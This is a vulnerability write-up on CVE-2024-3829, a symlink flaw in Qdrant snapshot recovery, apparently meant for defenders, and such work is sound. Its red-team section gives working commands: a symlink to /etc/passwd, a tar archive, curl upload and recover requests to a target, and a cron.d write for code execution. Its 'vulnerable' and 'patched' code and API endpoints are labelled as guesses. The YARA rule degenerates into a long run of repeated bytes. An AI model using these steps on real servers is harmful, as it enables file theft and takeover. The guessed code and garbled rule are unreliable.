CVE-2024-3829
Executive Summary
CVE-2024-3829 is a critical vulnerability in Qdrant, a vector similarity search engine, affecting versions prior to 1.9.0. The flaw resides in the snapshot recovery process, where an attacker can craft a malicious snapshot containing symbolic links (symlinks) to achieve arbitrary file read and write on the server. With a CVSS score of 9.8, this vulnerability allows unauthenticated remote attackers to read sensitive files (e.g., configuration, credentials) and write arbitrary files, potentially leading to full system compromise. The vulnerability is publicly known, and proof-of-concept code exists, though no specific exploit-db or nuclei template is available. The patch is available in version 1.9.0.
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Supply Chain & Package Security
Qdrant is distributed as a Docker container and a Rust crate. Users should verify the integrity of their Qdrant images and ensure they are not using vulnerable versions. The vulnerability is not related to any specific package manager but affects the core binary.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full file read possible.
- Integrity (I): High (H) – Full file write possible.
- Availability (A): High (H) – Could lead to system takeover.
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via file write, leading to complete system compromise.
Deep Dive & Mechanics
The vulnerability exists in the snapshot recovery functionality of Qdrant. When a snapshot is loaded, the software extracts files from the snapshot archive (likely a tar or zip file) without properly validating symbolic links. An attacker can craft a snapshot containing:
Arbitrary File Read: A symlink pointing to a sensitive file (e.g.,
/etc/passwd,/etc/shadow, or Qdrant configuration files). When Qdrant processes the snapshot, it follows the symlink and reads the target file, potentially exposing its contents.Arbitrary File Write: A symlink pointing to a location outside the intended extraction directory (e.g.,
/etc/cron.d/malicious), combined with a payload file. When the snapshot is extracted, the symlink is followed, and the payload is written to the attacker-specified location.
The attack flow:
- Attacker creates a malicious snapshot archive containing symlinks and payload files.
- Attacker sends the snapshot to the Qdrant server via the snapshot recovery API (e.g.,
POST /snapshots/uploador similar). - Qdrant extracts the snapshot without checking for symlinks, leading to file read/write.
- Attacker can then execute arbitrary code (e.g., by writing a cron job, SSH key, or web shell).
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.9.0):
The snapshot extraction likely uses a standard archive extraction library (e.g., tar or zip) without sanitizing symlinks. For example, in Rust, using tar::Archive without checking for symlinks:
// Vulnerable: No symlink validation
let mut archive = tar::Archive::new(reader);
for entry in archive.entries().unwrap() {
let mut entry = entry.unwrap();
entry.unpack_in("snapshot_dir").unwrap();
}
Patched Code (v1.9.0): The fix likely includes validation to reject or safely handle symlinks, such as:
// Patched: Reject symlinks
let mut archive = tar::Archive::new(reader);
for entry in archive.entries().unwrap() {
let mut entry = entry.unwrap();
if entry.header().entry_type().is_symlink() {
return Err("Symlinks not allowed in snapshots");
}
entry.unpack_in("snapshot_dir").unwrap();
}
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: Qdrant server version 1.8.x or earlier (e.g., Docker image
qdrant/qdrant:v1.8.0). - Attacker: Any machine with network access to the Qdrant API.
Exploitation Steps:
Create a malicious snapshot:
- Create a directory structure with a symlink to a sensitive file (e.g.,
/etc/passwd). - Use
tarto create the archive:mkdir malicious_snapshot cd malicious_snapshot ln -s /etc/passwd passwd_link tar -czf malicious_snapshot.tar.gz passwd_link
- Create a directory structure with a symlink to a sensitive file (e.g.,
Upload the snapshot to Qdrant:
- Use
curlto upload the snapshot via the API (assuming default port 6333):curl -X POST -F "snapshot=@malicious_snapshot.tar.gz" http://target:6333/snapshots/upload
- Use
Trigger recovery:
- If the API requires a recovery endpoint, use:
curl -X POST http://target:6333/snapshots/recover -H "Content-Type: application/json" -d '{"snapshot": "malicious_snapshot.tar.gz"}'
- If the API requires a recovery endpoint, use:
Read the file:
- The symlink will be followed, and the content of
/etc/passwdwill be written to the extraction directory. Access it via the Qdrant API or file system.
- The symlink will be followed, and the content of
For arbitrary write:
- Create a symlink pointing to a writable location (e.g.,
/etc/cron.d/). - Include a payload file (e.g., a cron job script).
- After extraction, the payload is written to the target location, enabling code execution.
- Create a symlink pointing to a writable location (e.g.,
Blue Team (Defender)
Detection:
- Monitor for unusual snapshot uploads or recovery requests.
- Check for symlinks in snapshot archives before processing.
- Use file integrity monitoring (FIM) to detect unexpected file writes.
Hunting:
- Search for processes accessing sensitive files (e.g.,
/etc/passwd) from the Qdrant process. - Look for new files in system directories (e.g.,
/etc/cron.d/,/root/.ssh/).
Indicators of Compromise (IOCs)
File System:
- Unexpected symlinks in snapshot directories (e.g.,
/var/lib/qdrant/snapshots/). - New files in system directories (e.g.,
/etc/cron.d/,/tmp/). - Modified configuration files (e.g.,
/etc/qdrant/config.yaml).
- Unexpected symlinks in snapshot directories (e.g.,
Network:
- Unusual POST requests to
/snapshots/uploador/snapshots/recover. - Large file uploads to the Qdrant API.
- Unusual POST requests to
Process:
- Qdrant process reading sensitive files (e.g.,
/etc/passwd,/etc/shadow).
- Qdrant process reading sensitive files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_3829_Qdrant_Symlink_Snapshot {
meta:
description = "Detects malicious Qdrant snapshots containing symlinks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3829"
strings:
$symlink_magic = { 75 73 74 61 72 00 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 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